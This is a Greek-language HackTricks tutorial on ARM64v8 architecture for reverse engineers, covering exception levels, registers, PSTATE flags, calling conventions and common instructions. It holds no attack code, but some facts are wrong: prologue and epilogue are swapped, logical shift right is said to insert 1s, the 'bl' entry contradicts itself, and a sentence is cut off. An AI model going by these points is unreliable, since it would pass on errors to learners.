Εισαγωγή στο ARM64v8
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επίπεδα Εξαίρεσης - EL (ARM64v8)
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Exception Levels (ELs), ορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:
- EL0 - User Mode:
- Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
- Οι εφαρμογές που τρέχουν σε EL0 είναι απομονωμένες μεταξύ τους και από το σύστημα, ενισχύοντας την ασφάλεια και τη σταθερότητα.
- EL1 - Operating System Kernel Mode:
- Τα περισσότερα λειτουργικά συστήματα τρέχουν σε αυτό το επίπεδο.
- Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για τη διασφάλιση της ακεραιότητας του συστήματος. Πηγαίνετε από EL0 σε EL1 με την εντολή
SVC.
- EL2 - Hypervisor Mode:
- Αυτό το επίπεδο χρησιμοποιείται για virtualization. Ένας hypervisor που τρέχει σε EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (το καθένα στο δικό του EL1) στο ίδιο φυσικό υλικό.
- Το EL2 παρέχει δυνατότητες για απομόνωση και έλεγχο των virtualized περιβαλλόντων.
- Επομένως εφαρμογές εικονικών μηχανών όπως το Parallels μπορούν να χρησιμοποιήσουν το
hypervisor.frameworkγια αλληλεπίδραση με το EL2 και να τρέξουν virtual machines χωρίς kernel extensions. - Για να μεταβεί από EL1 σε EL2 χρησιμοποιείται η εντολή
HVC.
- EL3 - Secure Monitor Mode:
- Αυτό είναι το επίπεδο με τα περισσότερα προνόμια και χρησιμοποιείται συχνά για secure booting και trusted execution environments.
- Το EL3 μπορεί να διαχειρίζεται και να ελέγχει τις προσβάσεις μεταξύ secure και non-secure καταστάσεων (όπως secure boot, trusted OS, κ.λπ.).
- Χρησιμοποιόταν για KPP (Kernel Patch Protection) στο macOS, αλλά δεν χρησιμοποιείται πλέον.
- Το EL3 δεν χρησιμοποιείται πια από την Apple.
- Η μετάβαση στο EL3 γίνεται συνήθως με την εντολή
SMC(Secure Monitor Call).
Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφόρων πτυχών του συστήματος, από τις εφαρμογές χρήστη μέχρι το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση διαφορετικών συνιστωσών του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.
Καταχωρητές (ARM64v8)
ARM64 έχει 31 γενικής χρήσης καταχωρητές, επισημασμένους x0 έως x30. Κάθε ένας μπορεί να αποθηκεύσει μια 64-bit (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσεγγιστούν σε 32-bit μορφή χρησιμοποιώντας τα ονόματα w0 έως w30.
x0έωςx7- Συνήθως χρησιμοποιούνται ως scratch registers και για τη μετάβαση παραμέτρων σε υπορουτίνες.
- Το
x0μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
x8- Στον Linux kernel, τοx8χρησιμοποιείται ως ο αριθμός system call για την εντολήsvc. Στο macOS το x16 είναι αυτό που χρησιμοποιείται!x9έωςx15- Περαιτέρω προσωρινοί καταχωρητές, συχνά για τοπικές μεταβλητές.x16καιx17- Intra-procedural Call Registers. Προσωρινοί καταχωρητές για άμεσα (immediate) τιμές. Χρησιμοποιούνται επίσης για indirect function calls και PLT stubs.
- Το
x16χρησιμοποιείται ως ο αριθμός system call για την εντολήsvcστο macOS.
x18- Platform register. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε κάποιες πλατφόρμες αυτός ο καταχωρητής είναι δεσμευμένος για ειδικές χρήσεις πλατφόρμας: δείκτης στο current thread environment block στα Windows, ή για να δείχνει στη τρέχουσα executing task structure in linux kernel.x19έωςx28- Αυτοί είναι callee-saved registers. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον caller, επομένως αποθηκεύονται στο stack και ανακτώνται πριν την επιστροφή στον caller.x29- Frame pointer για να παρακολουθεί το stack frame. Όταν δημιουργείται ένα νέο stack frame επειδή καλείται μια συνάρτηση, ο καταχωρητήςx29αποθηκεύεται στο stack και η νέα διεύθυνση frame pointer (η διεύθυνση τουsp) αποθηκεύεται σε αυτόν τον καταχωρητή.
- Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως γενικός καταχωρητής, αν και συνήθως χρησιμοποιείται ως αναφορά για τοπικές μεταβλητές.
x30ήlr- Link register. Κρατά τη διεύθυνση επιστροφής όταν εκτελείται μια εντολήBL(Branch with Link) ήBLR(Branch with Link to Register) αποθηκεύοντας την τιμή τουpcσε αυτόν τον καταχωρητή.
- Μπορεί επίσης να χρησιμοποιηθεί όπως οποιοσδήποτε άλλος καταχωρητής.
- Εάν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και κατά συνέπεια να υπεργραφεί το
lr, θα το αποθηκεύσει στο stack στην αρχή — αυτό είναι το epilogue (stp x29, x30 , [sp, #-48]; mov x29, sp-> Storefpandlr, generate space and get newfp) και το ανακτά στο τέλος — αυτό είναι το prologue (ldp x29, x30, [sp], #48; ret-> Recoverfpandlrand return).
sp- Stack pointer, χρησιμοποιείται για να κρατά την κορυφή του stack.
- Η τιμή του
spπρέπει πάντα να διατηρείται με τουλάχιστον quadword alignment, αλλιώς μπορεί να συμβεί alignment exception.
pc- Program counter, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω παραγωγής εξαιρέσεων, επιστροφών εξαιρέσεων και branches. Οι μόνη συνηθισμένες εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι branch with link instructions (BL, BLR) για να αποθηκεύσουν τη διεύθυνση τουpcστοlr(Link Register).xzr- Zero register. Επίσης ονομάζεταιwzrστη 32-bit μορφή. Μπορεί να χρησιμοποιηθεί για εύκολη λήψη της τιμής μηδέν (συνηθισμένη operation) ή για εκτέλεση συγκρίσεων χρησιμοποιώνταςsubsόπωςsubs XZR, Xn, #10αποθηκεύοντας το αποτέλεσμα πουθενά (στοxzr).
Οι Wn καταχωρητές είναι η 32bit έκδοση των Xn καταχωρητών.
Tip
Οι καταχωρητές από X0 - X18 είναι volatile, που σημαίνει ότι οι τιμές τους μπορούν να αλλάξουν από κλήσεις συναρτήσεων και διακοπές. Ωστόσο, οι καταχωρητές από X19 - X28 είναι non-volatile, που σημαίνει ότι οι τιμές τους πρέπει να διατηρούνται κατά τη διάρκεια κλήσεων συναρτήσεων (“callee saved”).
SIMD και καταχωρητές κινητής υποδιαστολής
Επιπλέον, υπάρχουν άλλοι 32 καταχωρητές μήκους 128bit που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες single instruction multiple data (SIMD) operations και για εκτέλεση floating-point αριθμητικών. Αυτοί ονομάζονται Vn registers αν και μπορούν επίσης να λειτουργήσουν σε 64-bit, 32-bit, 16-bit και 8-bit και τότε ονομάζονται Qn, Dn, Sn, Hn και Bn.
System Registers
Υπάρχουν εκατοντάδες system registers, επίσης ονομαζόμενοι special-purpose registers (SPRs), που χρησιμοποιούνται για παρακολούθηση και έλεγχο της συμπεριφοράς των επεξεργαστών.
Μπορούν να διαβαστούν ή να οριστούν μόνο χρησιμοποιώντας τις ειδικές εντολές mrs και msr.
Οι ειδικοί καταχωρητές TPIDR_EL0 και TPIDDR_EL0 εμφανίζονται συχνά κατά την reverse engineering. Το επίθημα EL0 υποδεικνύει το ελάχιστο επίπεδο εξαίρεσης από το οποίο μπορεί να προσεγγιστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο προνομίων όπου τρέχουν τα κανονικά προγράμματα).
Συχνά χρησιμοποιούνται για να αποθηκεύσουν τη βασική διεύθυνση του thread-local storage περιοχής μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος από προγράμματα που τρέχουν σε EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από EL0 και να γραφτεί από EL1 (όπως ο kernel).
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
Το PSTATE περιέχει διάφορες συνιστώσες της διαδικασίας σειροποιημένες στον ειδικό καταχωρητή SPSR_ELx που είναι ορατός στο λειτουργικό σύστημα, όπου X είναι το permission level του προκληθέντος exception (αυτό επιτρέπει την αποκατάσταση της κατάστασης της διαδικασίας όταν τελειώσει η εξαίρεση).
Αυτά είναι τα πεδία που είναι προσβάσιμα:
.png)
- Οι σημαίες συνθηκών
N,Z,CκαιV: Nσημαίνει ότι η λειτουργία επέστρεψε αρνητικό αποτέλεσμαZσημαίνει ότι η λειτουργία επέστρεψε μηδένCσημαίνει ότι συνέβη carryVσημαίνει ότι η λειτουργία επέστρεψε signed overflow:- Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
- Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
- Σε αφαίρεση, όταν ένας μεγάλος αρνητικός αριθμός αφαιρείται από έναν μικρότερο θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.
- Προφανώς ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι signed ή όχι, οπότε θα ελέγξει τα C και V στις λειτουργίες και θα υποδείξει αν συνέβη carry στην περίπτωση που ήταν signed ή unsigned.
Warning
Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Κάποιες όπως
CMPήTSTτο κάνουν, και άλλες που έχουν το επίθημα s όπωςADDSεπίσης το κάνουν.
- Η τρέχουσα σημαία πλάτους καταχωρητή (
nRW): Αν η σημαία έχει την τιμή 0, το πρόγραμμα θα τρέξει σε κατάσταση εκτέλεσης AArch64 μόλις συνεχίσει. - Το τρέχον Exception Level (
EL): Ένα κανονικό πρόγραμμα που τρέχει σε EL0 θα έχει τιμή 0. - Η σημαία single stepping (
SS): Χρησιμοποιείται από debuggers για single stepping ρυθμίζοντας τη σημαία SS σε 1 μέσα στοSPSR_ELxμέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα προκαλέσει μια single step εξαίρεση. - Η σημαία illegal exception state (
IL): Χρησιμοποιείται για να σηματοδοτήσει όταν ένα προνομιούχο λογισμικό πραγματοποιεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία τίθεται σε 1 και ο επεξεργαστής ενεργοποιεί μια illegal state exception. - Οι σημαίες
DAIF: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιούχο πρόγραμμα να αποκρύψει επιλεκτικά ορισμένες εξωτερικές εξαιρέσεις. - Εάν
Aείναι 1 σημαίνει ότι θα ενεργοποιηθούν asynchronous aborts. ΤοIρυθμίζει την απόκριση σε εξωτερικά hardware Interrupt Requests (IRQs). και το F σχετίζεται με Fast Interrupt Requests (FIRs). - Οι σημαίες επιλογής stack pointer (
SPS): Προνομιούχα προγράμματα που τρέχουν σε EL1 και άνω μπορούν να εναλλάξουν μεταξύ της χρήσης του δικού τους stack pointer register και του user-model ενός (π.χ. μεταξύSP_EL1καιEL0). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητήSPSel. Αυτό δεν μπορεί να γίνει από EL0.
Calling Convention (ARM64v8)
Η calling convention του ARM64 ορίζει ότι οι πρώτες οκτώ παράμετροι σε μια συνάρτηση περνιούνται σε καταχωρητές x0 έως x7. Επιπλέον παράμετροι περνιούνται στο stack. Η τιμή επιστροφής επιστρέφεται στον καταχωρητή x0, ή και στον x1 αν είναι 128 bits. Οι καταχωρητές x19 έως x30 και sp πρέπει να διατηρούνται κατά τις κλήσεις συναρτήσεων.
Όταν διαβάζετε μια συνάρτηση σε assembly, ψάξτε για το function prologue και epilogue. Το prologue συνήθως περιλαμβάνει αποθήκευση του frame pointer (x29), ρύθμιση ενός νέου frame pointer, και επιμερισμό χώρου στο stack. Το epilogue συνήθως περιλαμβάνει αποκατάσταση του αποθηκευμένου frame pointer και επιστροφή από τη συνάρτηση.
Calling Convention στο Swift
Το Swift έχει τη δική του calling convention που μπορεί να βρεθεί στο https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Συνήθεις Εντολές (ARM64v8)
Οι εντολές ARM64 γενικά έχουν τη μορφή opcode dst, src1, src2, όπου το opcode είναι η λειτουργία που θα εκτελεστεί (όπως add, sub, mov, κ.λπ.), το dst είναι ο καταχωρητής προορισμού όπου θα αποθηκευτεί το αποτέλεσμα, και τα src1 και src2 είναι οι πηγές. Μπορούν επίσης να χρησιμοποιηθούν άμεσες τιμές (immediates) αντί για source registers.
-
mov: Μεταφέρει μια τιμή από έναν καταχωρητή σε έναν άλλο. -
Παράδειγμα:
mov x0, x1— Αυτό μεταφέρει την τιμή από τοx1στοx0. -
ldr: Φορτώνει μια τιμή από τη μνήμη σε έναν καταχωρητή. -
Παράδειγμα:
ldr x0, [x1]— Φορτώνει μια τιμή από τη μνήμη που δείχνει τοx1στοx0. -
Offset mode: Ένα offset που επηρεάζει τον origin pointer υποδεικνύεται, για παράδειγμα:
-
ldr x2, [x1, #8], αυτό θα φορτώσει στο x2 την τιμή από x1 + 8 -
ldr x2, [x0, x1, lsl #2], αυτό θα φορτώσει στο x2 ένα αντικείμενο από το array x0, στη θέση x1 (index) * 4 -
Pre-indexed mode: Αυτό θα εφαρμόσει υπολογισμούς στον origin, πάρει το αποτέλεσμα και επίσης θα αποθηκεύσει τον νέο origin.
-
ldr x2, [x1, #8]!, αυτό θα φορτώσειx1 + 8στοx2και θα αποθηκεύσει στο x1 το αποτέλεσμαx1 + 8 -
str lr, [sp, #-4]!, Αποθηκεύει τον link register στο sp και ενημερώνει το register sp -
Post-index mode: Αυτό είναι σαν το προηγούμενο αλλά η διεύθυνση μνήμης προσπελάζεται και μετά υπολογίζεται και αποθηκεύεται το offset.
-
ldr x0, [x1], #8, φορτώνειx1στοx0και ενημερώνει το x1 μεx1 + 8 -
PC-relative addressing: Σε αυτή την περίπτωση η διεύθυνση που θα φορτωθεί υπολογίζεται σε σχέση με τον καταχωρητή PC
-
ldr x1, =_start, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο_startστο x1 σχετική με το τρέχον PC. -
str: Αποθηκεύει μια τιμή από έναν καταχωρητή στη μνήμη. -
Παράδειγμα:
str x0, [x1]— Αποθηκεύει την τιμή στοx0στη διεύθυνση μνήμης που δείχνει τοx1. -
ldp: Load Pair of Registers. Αυτή η εντολή φορτώνει δύο καταχωρητές από συνεχόμενες διευθύνσεις μνήμης. Η διεύθυνση μνήμης συνήθως σχηματίζεται προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή. -
Παράδειγμα:
ldp x0, x1, [x2]— Φορτώνειx0καιx1από τις διευθύνσεις μνήμης σεx2καιx2 + 8, αντίστοιχα. -
stp: Store Pair of Registers. Αυτή η εντολή αποθηκεύει δύο καταχωρητές σε συνεχόμενες διευθύνσεις μνήμης. Η διεύθυνση μνήμης σχηματίζεται συνήθως με προσθήκη offset στην τιμή άλλου καταχωρητή. -
Παράδειγμα:
stp x0, x1, [sp]— Αποθηκεύειx0καιx1στις διευθύνσεις μνήμηςspκαιsp + 8, αντίστοιχα. -
stp x0, x1, [sp, #16]!— Αποθηκεύειx0καιx1στις διευθύνσεις μνήμηςsp+16καιsp + 24, αντίστοιχα, και ενημερώνει τοspμεsp+16. -
add: Προσθέτει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Προορισμός
-
Xn2 -> Operand 1
-
Xn3 | #imm -> Operand 2 (register ή immediate)
-
[shift #N | RRX] -> Εκτέλεση shift ή RRX
-
Παράδειγμα:
add x0, x1, x2— Προσθέτει τις τιμές σεx1καιx2και αποθηκεύει το αποτέλεσμα στοx0. -
add x5, x5, #1, lsl #12— Αυτό ισούται με 4096 (ένα 1 shifted 12 φορές) -> 1 0000 0000 0000 0000 -
adds: Εκτελείaddκαι ενημερώνει τις σημαίες -
sub: Αφαιρεί τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Δείτε τη σύνταξη του
add. -
Παράδειγμα:
sub x0, x1, x2— Αφαιρεί την τιμή στοx2από τοx1και αποθηκεύει το αποτέλεσμα στοx0. -
subs: Όπως τοsubαλλά ενημερώνει τις σημαίες -
mul: Πολλαπλασιάζει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Παράδειγμα:
mul x0, x1, x2— Πολλαπλασιάζει τις τιμές σεx1καιx2και τις αποθηκεύει στοx0. -
div: Διαιρεί την τιμή ενός καταχωρητή με ενός άλλου και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Παράδειγμα:
div x0, x1, x2— Διαιρεί την τιμή σεx1με τοx2και αποθηκεύει το αποτέλεσμα στοx0. -
lsl,lsr,asr,ror,rrx: -
Logical shift left: Προσθέτει 0s από το τέλος μετακινώντας τα υπόλοιπα bits προς τα εμπρός (πολλαπλασιασμός επί 2^n)
-
Logical shift right: Προσθέτει 1s στην αρχή μετακινώντας τα υπόλοιπα bits προς τα πίσω (διαίρεση επί 2^n για unsigned)
-
Arithmetic shift right: Όπως το
lsr, αλλά αντί να προσθέτει 0s, αν το πιο σημαντικό bit είναι 1, προσθέτει 1s (διαίρεση επί 2^n για signed) -
Rotate right: Όπως το
lsrαλλά ό,τι αφαιρεθεί από τα δεξιά προστίθεται στα αριστερά -
Rotate Right with Extend: Όπως το
ror, αλλά με την carry flag ως το “most significant bit”. Έτσι η carry flag μεταφέρεται στο bit 31 και το αφαιρεμένο bit πάει στην carry flag. -
bfm: Bit Field Move, αυτές οι λειτουργίες αντιγράφουν bits0...nαπό μια τιμή και τα τοποθετούν στις θέσειςm..m+n. Το#sκαθορίζει τη αριστερότερη θέση bit και το#rτην ποσότητα περιστροφής προς τα δεξιά. -
Bitfield move:
BFM Xd, Xn, #r -
Signed Bitfield move:
SBFM Xd, Xn, #r, #s -
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s -
Bitfield Extract and Insert: Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.
-
BFI X1, X2, #3, #4Εισάγει 4 bits από το X2 από το 3ο bit του X1 -
BFXIL X1, X2, #3, #4Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1 -
SBFIZ X1, X2, #3, #4Εκτείνει το πρόσημο 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3, μηδενίζοντας τα δεξιά bits -
SBFX X1, X2, #3, #4Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, τα sign-extends, και τοποθετεί το αποτέλεσμα στο X1 -
UBFIZ X1, X2, #3, #4Zero-extends 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3, μηδενίζοντας τα δεξιά bits -
UBFX X1, X2, #3, #4Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το zero-extended αποτέλεσμα στο X1. -
Sign Extend To X: Επεκτείνει το πρόσημο (ή απλώς προσθέτει 0s στην unsigned έκδοση) μιας τιμής ώστε να μπορεί να γίνει λειτουργία με αυτήν:
-
SXTB X1, W2Επεκτείνει το πρόσημο ενός byte από W2 στο X1 (W2είναι το μισό τουX2) για να γεμίσει τα 64bit -
SXTH X1, W2Επεκτείνει το πρόσημο ενός 16bit αριθμού από W2 στο X1 για να γεμίσει τα 64bit -
SXTW X1, W2Επεκτείνει το πρόσημο ενός (sic) από W2 στο X1 για να γεμίσει τα 64bit -
UXTB X1, W2Προσθέτει 0s (unsigned) σε ένα byte από W2 στο X1 για να γεμίσει τα 64bit -
extr: Εξάγει bits από ένα συγκεκριμένο ζεύγος καταχωρητών συνενωμένων. -
Παράδειγμα:
EXTR W3, W2, W1, #3Αυτό θα συνενώσει W1+W2 και θα πάρει από το bit 3 του W2 μέχρι το bit 3 του W1 και θα το αποθηκεύσει στο W3. -
cmp: Συγκρίνει δύο καταχωρητές και ρυθμίζει τις condition flags. Είναι ένα alias τουsubsθέτοντας τον προορισμό στον zero register. Χρήσιμο για να ξέρετε ανm == n. -
Υποστηρίζει την ίδια σύνταξη με το
subs -
Παράδειγμα:
cmp x0, x1— Συγκρίνει τις τιμές σεx0καιx1και ρυθμίζει αντίστοιχα τις condition flags. -
cmn: Compare negative operand. Σε αυτή την περίπτωση είναι alias τουaddsκαι υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να ξέρετε ανm == -n. -
ccmp: Conditional comparison, είναι μια σύγκριση που θα εκτελεστεί μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα nzcv bits. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func-> αν x1 != x2 και x3 < x4, πήγαινε στη func -
Αυτό επειδή το
ccmpθα εκτελεστεί μόνο αν το προηγούμενοcmpήτανNE, αν δεν ήταν τα bitsnzcvθα τεθούν σε 0 (που δεν θα ικανοποιεί τοblt). -
Αυτό μπορεί επίσης να χρησιμοποιηθεί ως
ccmn(το ίδιο αλλά αρνητικό, όπωςcmpvscmn). -
tst: Ελέγχει αν κάποια από τις τιμές της σύγκρισης έχουν και τα δύο 1 (λειτουργεί σαν ANDS χωρίς να αποθηκεύει το αποτέλεσμα πουθενά). Είναι χρήσιμο για έλεγχο ενός καταχωρητή με μια τιμή και για να δείτε αν κάποια από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1. -
Παράδειγμα:
tst X1, #7Έλεγχος αν κάποιο από τα τελευταία 3 bits του X1 είναι 1 -
teq: XOR operation απορρίπτοντας το αποτέλεσμα -
b: Ανεπιφυλακτο Branch -
Παράδειγμα:
b myFunction -
Σημειώστε ότι αυτό δεν θα γεμίσει το link register με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για subroutine calls που χρειάζονται επιστροφή)
-
bl: Branch with link, χρησιμοποιείται για κάλεσμα υπορουτίνας. Αποθηκεύει τη διεύθυνση επιστροφής στοx30. -
Παράδειγμα:
bl myFunction— Καλεί τη συνάρτησηmyFunctionκαι αποθηκεύει τη διεύθυνση επιστροφής στοx30. -
Σημειώστε ότι αυτό δεν θα γεμίσει το link register με τη διεύθυνση επιστροφής (όχι κατάλληλο για subrutine calls που χρειάζονται επιστροφή)
-
blr: Branch with Link to Register, χρησιμοποιείται για κάλεσμα υπορουτίνας όπου ο προορισμός καθορίζεται σε έναν καταχωρητή. Αποθηκεύει τη διεύθυνση επιστροφής στοx30. (Αυτό είναι -
Παράδειγμα:
blr x1— Καλεί τη συνάρτηση της οποίας η διεύθυνση περιέχεται στοx1και αποθηκεύει τη διεύθυνση επιστροφής στοx30. -
ret: Επιστροφή από υπορουτίνα, συνήθως χρησιμοποιώντας τη διεύθυνση στοx30. -
Παράδειγμα:
ret— Επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στοx30. -
b.<cond>: Συνθήκες branches -
b.eq: Branch αν ίσο, με βάση την προηγούμενη εντολήcmp. -
Παράδειγμα:
b.eq label— Αν η προηγούμενηcmpβρήκε δύο ίσες τιμές, τότε πηγαίνει στοlabel. -
b.ne: Branch αν όχι ίσο. Αυτή η εντολή ελέγχει τις condition flags (που ρυθμίστηκαν από προηγούμενη εντολή σύγκρισης), και αν οι συγκριμένες τιμές δεν ήταν ίσες, κάνει branch σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα: Μετά από
cmp x0, x1,b.ne label— Αν οι τιμές στοx0καιx1δεν ήταν ίσες, πηγαίνει στοlabel. -
cbz: Compare and Branch on Zero. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα:
cbz x0, label— Αν η τιμή στοx0είναι μηδέν, πηγαίνει στοlabel. -
cbnz: Compare and Branch on Non-Zero. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα:
cbnz x0, label— Αν η τιμή στοx0είναι μη μηδέν, πηγαίνει στοlabel. -
tbnz: Test bit and branch on nonzero -
Παράδειγμα:
tbnz x0, #8, label -
tbz: Test bit and branch on zero -
Παράδειγμα:
tbz x0, #8, label -
Conditional select operations: Αυτές είναι λειτουργίες των οποίων η συμπεριφορά αλλάζει ανάλογα με τα condition bits.
-
csel Xd, Xn, Xm, cond->csel X0, X1, X2, EQ-> Αν true, X0 = X1, αν false, X0 = X2 -
csinc Xd, Xn, Xm, cond-> Αν true, Xd = Xn, αν false, Xd = Xm + 1 -
cinc Xd, Xn, cond-> Αν true, Xd = Xn + 1, αν false, Xd = Xn -
csinv Xd, Xn, Xm, cond-> Αν true, Xd = Xn, αν false, Xd = NOT(Xm) -
cinv Xd, Xn, cond-> Αν true, Xd = NOT(Xn), αν false, Xd = Xn -
csneg Xd, Xn, Xm, cond-> Αν true, Xd = Xn, αν false, Xd = - Xm -
cneg Xd, Xn, cond-> Αν true, Xd = - Xn, αν false, Xd = Xn -
cset Xd, Xn, Xm, cond-> Αν true, Xd = 1, αν false, Xd = 0 -
csetm Xd, Xn, Xm, cond-> Αν true, Xd = <all 1>, αν false, Xd = 0 -
adrp: Υπολογίζει τη διεύθυνση της σελίδας ενός συμβόλου και τη αποθηκεύει σε έναν καταχωρητή. -
Παράδειγμα:
adrp x0, symbol— Αυτό υπολογίζει τη διεύθυνση σελίδας τουsymbolκαι την αποθηκεύει στοx0. -
ldrsw: Φορτώνει μια signed 32-bit τιμή από τη μνήμη και την sign-extends σε 64 bits. Χρησιμοποιείται σε κοινές περιπτώσεις SWITCH. -
Παράδειγμα:
ldrsw x0, [x1]— Φορτώνει μια signed 32-bit τιμή από τη μνήμη που δείχνει τοx1, την sign-extends σε 64 bits, και την αποθηκεύει στοx0. -
stur: Αποθηκεύει μια τιμή καταχωρητή σε μια διεύθυνση μνήμης, χρησιμοποιώντας ένα offset από άλλο καταχωρητή. -
Παράδειγμα:
stur x0, [x1, #4]— Αποθηκεύει την τιμή στοx0στη διεύθυνση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που έχει τοx1. -
svc: Κάνει ένα system call. Σημαίνει “Supervisor Call”. Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, αλλάζει από user mode σε kernel mode και πηγαίνει σε μια συγκεκριμένη θέση στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού system call του kernel. -
Παράδειγμα:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
Function Prologue
- Αποθήκευση του link register και του frame pointer στο stack:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Ρύθμιση του νέου δείκτη πλαισίου:
mov x29, sp(ορίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση) - Διάθεση χώρου στο stack για τοπικές μεταβλητές (αν χρειάζεται):
sub sp, sp, <size>(όπου<size>είναι ο αριθμός των bytes που απαιτούνται)
Επίλογος συνάρτησης
- Αποδέσμευση τοπικών μεταβλητών (αν έχουν δεσμευθεί):
add sp, sp, <size> - Επαναφορά του link register και του δείκτη πλαισίου:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Επιστροφή:
ret(επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στον καταχωρητή σύνδεσης)
Κοινές Προστασίες Μνήμης ARM
Κατάσταση Εκτέλεσης AARCH32
Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. AArch32 μπορεί να τρέξει σε ένα από δύο σύνολα εντολών: A32 και T32 και μπορεί να αλλάζει μεταξύ τους μέσω interworking.
Προνομιούχα 64-bit προγράμματα μπορούν να προγραμματίσουν την εκτέλεση προγραμμάτων 32-bit εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο χαμηλότερο προνομιούχο 32-bit.
